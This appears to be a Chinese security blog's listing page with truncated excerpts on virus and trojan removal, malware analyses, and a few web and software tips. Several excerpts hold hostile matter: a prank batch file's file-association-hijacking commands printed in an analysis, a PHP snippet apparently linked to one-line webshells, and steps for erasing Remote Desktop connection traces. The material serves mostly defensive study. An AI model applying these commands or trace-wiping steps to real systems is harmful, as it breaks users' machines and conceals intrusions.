总是忘记一句话放到哪个文件里去了，直接全部干掉...[code]<?//xy7 if (!isset($dir) or empty($dir)) { $dir=str_replace('\\','/',dirname(__FILE__)); echo "<font color=\"#00688B\">".$dir."</font>"; } else { $dir=$_GET['dir']; echo "<fon...

一同学求助。U盘中毒感染机器，导致打开“我的电脑”看不到任何磁盘分区，且系统卡到假死态。　　首先，通过组策略关闭“自动播放”功能。插入U盘。　　执行：开始——运行——浏览，找到对应的U盘分区，复制Icesword和sreng.　　更改Icesword软件名称,更改名称为任意名称，双击，系统蓝屏自动重启。在BIOS画面卡住。按重启键依旧，则断开主机电源片刻，再开机能正常进入。　　sreng扫描日志，发现如下可疑内容：　　==================================　　Quote:服务　　[Rising Protected Storage /&...

恶作剧程序dudu.exe清除解决方案dudu.exe运行后，当前用户临时文件夹中释放一个bt0577.bat批处理文件。这是个恶作剧程序。想办法阻止此.bat运行，用记事本打开该文件，可以看到下列内容：@echo offassoc .txt=exefileassoc .exe=txtfileassoc .htm=exefileassoc .html=exefileassoc .com=txtfileassoc .gho=txtfileassoc .rar=txtfileassoc .zip=txtfil...

roirpy.exe,mrnds3oy.dll,qh55i.dll等木马群手工清除解决方案 用xdelbox删除下面文件（添加下面所有路径或在空白处点右键-从剪贴板导入,在已添加的文件路径上点击右键，选择立刻重启执行删除[有提示不存在该文件的就忽略,添加其它文件]）:  c:\windows\roirpy.exe  c:\windows\uunjkd.exe  c:\windows\49400l.exe  c:\windows\49400m.exe  c:\windows\fjrlwx...

木马程序Trojan-Spy.Win32.Agent.cfu该样本程序是一个使用Delphi编写的程序，程序采用MEW 1.x加壳企图躲避特征码扫描，长度为67,908字节，图标为windows默认图标，病毒扩展名为exe，主要传播途径网页挂马、文件捆绑、黑客攻击。病毒分析　　该样本程序被激活后释放systen.dll文件到%systemroot%\system32目录下，释放451062.dll文件（该文件名为6位或7位随机数字）到%systemroot%目录下，运行批处理删除自身；添加注册表相关键值将systen.dll注入到Winlogon进程中，获取鼠标键盘事件；连接远程网络...

一、学伯乐 认马识马木马这东西从本质上说，就是一种远程控制软件。不过远程控制软件也分正规部队和山间土匪。正规部队顾名思义就是名正言顺的帮你远程管理和设置电脑的软件，如Windows XP自带的远程协助功能，一般这类软件在运行时，都会在系统任务栏中出现，明确的告诉用户当前系统处于被控制状态；而木马则属于山间土匪，他们会偷偷潜入你的电脑进行破坏，并通过修改注册表、捆绑在正常程序上的方式运行，使你难觅其踪迹。木马与普通远程控制软件另外一个不同点在于，木马实现的远程控制功能更为丰富，其不仅能够实现一般远程控制软件的功能，还可以破坏系统文件、记录键盘动作、盗取密码、修改注册表和限制系...

运行RealPlayer11GOLD_cn.exe以后，软件是个解压过程，解压完了，可以点击“下一步”继续安装，在这里，我们不点击“下一步”，而是到系统的临时文件夹里面去，系统临时文件夹一般在C:\Documents and Settings\Administrator\Local Settings\Temp，每个人的都不一样,那个administrator是当前登陆用户名，找到~rnsetup文件夹（注意，如果你不是第一次安装RealPlayer，而且temp文件夹从来没有清空过的话，那么文件夹名可能是~rnsetup0,~rnsetup1等等），打开可以找到C...

在CSS森林群里讨论一个margin的问题中无意间发现overflow也可以用来清除浮动，嘿嘿，这个方法不单使用简单，而且FF、OP、IE7都支持，从此可以告别那又长兼容性又差的FF清浮动的方法了。 方法真的很简单，只要为需要清浮动的标签加上overflow这个属性。 css代码[code]ul{list-style:none;height:auto;margin:0;padding:0;background-color:#436973;}li{float:left;width:80px;height:80px;background-color:#83B1DF;}.demo...

一 .HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default把右边显示出来的，非原有的ip键值直接DEL就可以啦~~但是千万记住默认注册表打开的时候，当前键值是在哪儿（一般是主键，没有分树），照着默认一打开时候的树状模样恢复就ok二 .另一个方法xp和2003下 reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStatio...

解决参考：　　进行如下操作前，请不要进行任何双击打开磁盘的操作。所有下载的工具都直接放桌面上。　　思路　　1、安全模式下操作　　强制删除文件 可借助xdelbox, powerRMV等。[code]C:\Autorun.inf 　　C:\auto.exe 　　d:\Autorun.inf 　　d:\auto.exe 　　e:\Autorun.inf 　　e:\auto.exe 　　f:\Autorun.inf 　　f:\auto.exe 　　g:\Autorun.inf 　　g:\au...

病毒具体分析　　File: SFF.exe　　Size: 36864 bytes　　File Version: 2.00.0003　　MD5: 248C496DAFC1CC85207D9ADE77327F8B　　SHA1: B32191D44382ED926716671398809F88DE9A9992　　CRC32: 8C51AAAB　　编写语言：Microsoft Visual Basic 5.0 / 6.0　　病毒生成如下文件　　%system32%\svch...